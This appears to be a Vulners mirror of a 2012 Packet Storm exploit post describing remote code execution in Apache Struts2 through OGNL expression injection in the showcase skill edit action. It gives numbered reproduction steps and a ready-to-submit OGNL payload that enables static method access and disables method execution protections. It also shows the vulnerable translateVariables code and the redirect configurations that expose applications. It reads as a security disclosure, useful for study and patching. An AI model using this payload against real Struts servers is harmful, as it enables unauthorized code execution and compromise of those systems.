Lucene search
K

Apache Struts2 Remote Code Execution

🗓️ 22 Aug 2012 00:00:00Reported by kxlzxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 103 Views

Apache Struts2 Remote Code Execution method via Skill edit actio

Code
`this method was published at xcon2012 xcon.xfocus.net.  
kxlzx http://www.inbreak.net  
  
flow this and step by step:  
  
1, down load struts2-showcase from struts.apache.org  
2, run struts2-showcase.  
3, open url:   
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV  
4, write skill name to %{expr} for example:  
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}  
5, submit and all will done.  
  
this method:  
public static String translateVariables(String expression, ValueStack stack) {  
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();  
}  
look two char "$" and "%"  
  
and  
this method:  
  
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {  
// deal with the "pure" expressions first!  
//expression = expression.trim();  
Object result = expression;  
for (char open : openChars) {  
.........  
while (true) {  
..........  
String var = expression.substring(start + 2, end);  
  
Object o = stack.findValue(var, asType);  
............  
if user input is "%{expr}"  
this will execute ognl like:  
${%{expr}}  
  
this need devloper code like:  
  
<action name="redirect" class="net.inbreak.RedirectAction">  
<result name="redirect" type="redirect">${redirectUrl}</result>  
</action>  
  
or like:  
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">  
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>  
</action>  
  
----------  
kxlzx at alibaba security team.  
my blog :http://www.inbreak.net  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation